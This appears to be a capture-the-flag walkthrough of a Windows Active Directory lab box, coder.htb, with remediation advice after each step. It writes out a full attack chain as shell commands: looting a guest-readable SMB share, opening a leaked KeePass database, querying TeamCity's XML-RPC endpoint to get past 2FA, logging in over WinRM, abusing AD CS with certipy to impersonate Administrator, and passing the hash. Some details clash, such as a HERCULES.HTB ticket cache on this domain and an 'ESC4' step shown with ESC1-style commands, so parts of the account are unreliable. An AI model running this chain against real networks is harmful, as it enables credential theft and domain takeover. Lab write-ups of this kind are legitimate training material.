J. Perez Duertojperezduerto.info
← all walkthroughs

Coder

Windows· Insane
owned
2026-09-11
time to own
1h19m24s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I enumerated the coder.htb Active Directory domain controller and found that the "Development" SMB share allowed anonymous/guest access. Recursively listing that share turned up leftover developer artifacts — a KeePass database, DACL-backup files, and a stray Kerberos ticket cache — from which the credentials for domain user s.blade were recovered.

Those credentials could not log into the internal TeamCity CI server directly because of enforced two-factor authentication, but abusing TeamCity's exposed RPC2 XML-RPC endpoint yielded a TeamCity service credential that itself contained an embedded domain credential for coder\e.black, stored in a build/agent configuration. e.black's credentials authenticated over WinRM, giving code execution and the user flag.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered, for e.black>"
export HASH="<the-hash-you-recovered, for Administrator>"

Some commands also carry a value in angle brackets — <vulnerable_template> — which you replace inline with what the step before it turned up.

Attack path — how the box was taken

1ReconnaissanceNetwork service enumeration (T1046)
Fingerprinted the target as an Active Directory domain controller
A full TCP/UDP port sweep of $TARGET identified the classic Active Directory Domain Controller service set — DNS, Kerberos, RPC, NetBIOS/SMB, LDAP/LDAPS, kpasswd, WinRM, and WSMan — confirming the host as DC01.coder.htb, the domain controller for coder.htb.
Ports 53,80,88,135,139,389,443,445,464,593,636,5985,9389 open; host resolved to DC01.coder.htb.
Exact commands 1
shell

Full TCP port sweep to fingerprint the AD DC service set.

$ nmap -p- -sC -sV -oA coder_full $TARGET
2Initial AccessAnonymous/Guest SMB share enumeration (T1135)
Enumerated the Development SMB share with guest/anonymous credentials
The \\$TARGET\Development share permitted anonymous/guest SMB sessions. Recursively listing it revealed a developer working tree (Migrations, Temporary Projects) containing sensitive leftovers: a KeePass database and key file, DACL-backup files from a prior AD assessment/change, and a stray Kerberos credential cache.
Smbclient guest session listed Migrations/Temporary Projects trees containing s.blade.kdbx, .key, dacledit-*.bak, and ken.w@HTTP_dc@HERCULES.HTB.ccache.
Exact commands 2
shell

List the share recursively as an unauthenticated guest.

$ smbclient //$TARGET/Development -U 'coder.htb\guest%' -c 'recurse ON; ls' | tee share_listing.txt
shell

Pull down the discovered KeePass DB, key file, and .bak/.ccache artifacts.

$ smbclient //$TARGET/Development -U 'coder.htb\guest%' -c 'recurse ON; prompt OFF; mget *'
FixDisable anonymous and guest access to SMB sharesHigh
WeaknessThe \\Development share accepted unauthenticated guest sessions, letting anyone on the network browse and download its full contents without any domain credential.
FixDisable the Guest account domain-wide, set 'RestrictAnonymous'/'RestrictAnonymousSAM' via GPO, and require explicit, least-privilege ACLs on every share. Audit all shares for unauthenticated access and remove NTLM/guest fallback where SMB signing/encryption policy allows it.
3Credential AccessCredentials from password stores (T1555.005)
Recovered domain credentials for s.blade from the leaked KeePass database
The KeePass database and its accompanying key file, both pulled from the guest-accessible share, were opened offline to extract a stored domain credential for user s.blade.
Password <withheld> recovered.
Exact commands 1
shell

List/open the recovered KeePass DB using its key file to extract stored entries.

$ keepassxc-cli ls -k archive/.key --no-password archive/s.blade.kdbx
FixRemove credential stores and secrets from file sharesHigh
WeaknessA KeePass database, its key file, DACL-change backups, and a Kerberos ticket cache were left in a developer working tree on a broadly accessible share, giving an unauthorised user a direct path to valid domain credentials.
FixPurge password databases, key material, ticket caches, and permission/backup exports from shared drives; enforce a data-loss-prevention/scan policy that flags .kdbx, .ccache, .pfx and similar files on shares. Store secrets in a managed vault (e.g., Azure Key Vault, HashiCorp Vault) with per-user access, not in project folders.
4Lateral MovementExploitation of CI/CD service credential exposure (T1552.001)
Pivoted around TeamCity 2FA via the exposed RPC2 endpoint to steal a second domain credential
The s.blade credential was valid but blocked from logging into the internal TeamCity CI server (teamcity-dev.coder.htb) by enforced two-factor authentication on that account. Instead of the login/token flow, TeamCity's exposed RPC2 XML-RPC interface was used to recover an internal service credential (TeamCity-RPC2), which had a domain credential for coder\e.black embedded in a stored build/agent configuration.
Curl -u s.blade against /app/rest/users/current returned a 2FA/access-token requirement; e.black password recovered.
Exact commands 2
shell

Confirms s.blade is valid but blocked by enforced 2FA.

$ curl -sk -u "s.blade:$PASSWORD" -H 'Host: teamcity-dev.coder.htb' https://$TARGET/app/rest/users/current
shell

Query the exposed RPC2 XML-RPC endpoint to enumerate build configs and recover the TeamCity-RPC2 service credential / embedded e.black domain credential (extract exact params from the running TeamCity build/agent config).

$ curl -sk -H 'Host: teamcity-dev.coder.htb' https://$TARGET/httpAuth/xmlrpc -d '<methodCall><methodName>RemoteBuildServer2.listBuildTypes</methodName></methodCall>'
FixRemove embedded domain credentials from TeamCity build/agent configuration and lock down RPC2High
WeaknessTeamCity's RPC2 XML-RPC endpoint was reachable and exposed a service credential (TeamCity-RPC2) whose build/agent configuration stored a plaintext domain credential for coder\e.black, letting an unauthorised user bypass 2FA on the primary account entirely.
FixStore all build agent/VCS credentials as TeamCity 'Typed Parameters' (password type, masked) or in an external secrets manager rather than plain build configuration; restrict/disable the legacy RPC2 endpoint; and enforce 2FA/MFA consistently across every account and service integration, not just interactive logins.
5FootholdValid Accounts + Remote Services: WinRM (T1021.006)
Authenticated over WinRM as e.black and captured the user flag
The stolen coder\e.black credential authenticated successfully over WinRM to DC01, granting an interactive PowerShell/cmd remote session. whoami was run to prove code execution before reading the user flag from the desktop.
Nxc winrm reported coder.htb\e.black's password (Pwn3d!); user.txt read from C:\Users\e.black\Desktop\user.txt.
Exact commands 3
shell

Validate the credential and confirm remote code execution.

$ nxc winrm $TARGET -u e.black -p "$PASSWORD2" -d coder.htb -x whoami
shell

Read the user flag; result is <user.txt>.

$ nxc winrm $TARGET -u e.black -p "$PASSWORD2" -d coder.htb -X "Get-Content -LiteralPath 'C:\Users\e.black\Desktop\user.txt'"
shell

Interactive alternative to the one-shot nxc executions used in the run.

$ evil-winrm -i $TARGET -u e.black -p "$PASSWORD2"
6Privilege EscalationAD CS Certificate Template/Object ACL abuse (ESC4-style) (T1649)
Found an overly permissive ACL on the AD CS Certificate Templates container
From the e.black WinRM session, the DACL on the AD CS 'Certificate Templates' container (under CN=Public Key Services,CN=Services,CN=Configuration) was enumerated with dsacls.
Dsacls against CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=coder,DC=htb returned an unexpectedly permissive owner/ACE set; dacledit-*.bak files found earlier on the Development share.
Exact commands 2
shell

Enumerate ACEs on the Certificate Templates container to find the misconfigured permission.

$ nxc winrm $TARGET -u e.black -p "$PASSWORD2" -d coder.htb -X "dsacls 'CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=coder,DC=htb'"
shell

Confirm and classify the vulnerable ESC path against the discovered template/ACL misconfiguration.

$ certipy find -u e.black -p "$PASSWORD2" -dc-ip $TARGET -vulnerable -stdout
FixFix the overly permissive ACL on the AD CS Certificate Templates containerCritical
WeaknessThe DACL on the AD CS 'Certificate Templates' container/object granted rights beyond what any non-PKI-admin principal needs, allowing a standard domain account to obtain or influence certificate issuance in a way that yielded privileged credential material (an ESC4-style template/object ACL abuse).
FixAudit all certificate templates and PKI containers with Certipy/PSPKI, remove Write/WriteOwner/WriteDacl/Enroll rights held by non-administrative principals, restore ACL inheritance to defaults, and require CA manager approval for sensitive templates. Monitor AD CS object ACL changes going forward.
7Domain CompromiseCertificate-based privilege escalation to Domain Admin (T1649) + Pass-the-Hash (T1550.002)
Abused the ACD CS misconfiguration to obtain privileged credential material and root access
Using the write/enroll rights exposed by the misconfigured Certificate Templates ACL, a certificate was requested/modified to obtain elevated credential material (recovered as NT hash ), which was used to authenticate with administrative privileges on DC01 and retrieve the root flag — completing full domain compromise.
Elevated NT hash obtained; subsequent access confirmed as CODER\Enterprise Admins level; root.txt captured.
Exact commands 4
shell

Request/abuse the vulnerable certificate template to enroll on behalf of a privileged principal.

$ certipy req -u e.black -p "$PASSWORD2" -dc-ip $TARGET -ca CODER-CA -template <vulnerable_template> -upn Administrator@coder.htb
shell

Authenticate with the issued certificate to recover the Administrator NT hash.

$ certipy auth -pfx administrator.pfx -dc-ip $TARGET
shell

Pass-the-hash with the recovered Administrator NT hash to obtain a privileged shell.

$ evil-winrm -i $TARGET -u Administrator -H $HASH
shell

Read the root flag; result is <root.txt>.

$ type C:\Users\Administrator\Desktop\root.txt

Attack patterns used

The transferable techniques behind this compromise.

AD CS Abuse (ESC1–ESC8)Active Directory · CertificatesT1649

What it is

Active Directory Certificate Services can be abused when certificate templates or the CA are misconfigured. The ESC family (ESC1: enrollee-supplied SAN; ESC8: NTLM relay to the web-enrollment endpoint; etc.) lets an unauthorised user obtain a certificate that authenticates as a higher-privileged user, then use it for Kerberos PKINIT to get that user's TGT.

Why it works

Certificates are long-lived authentication material; a single permissive template (ENROLLEE_SUPPLIES_SUBJECT + client-auth EKU + low enroll rights) is enough to mint an admin identity. Tools certipy/Certify find and exploit these. Remediate per the SpecterOps 'Certified Pre-Owned' guidance.

Read more

Exposed services

53/tcp
80/tcp
88/tcp
135/tcp
139/tcp
389/tcp
443/tcp
445/tcp
464/tcp
593/tcp
636/tcp
5985/tcp
9389/tcp
47001/tcp
49664/tcp
49665/tcp
49666/tcp
49667/tcp
49673/tcp
49674/tcp
49675/tcp
49679/tcp
49686/tcp
49695/tcp
51492/tcp
51505/tcp
53/udp

Techniques used

New to these ideas? Learn the concepts in Hack & Learn.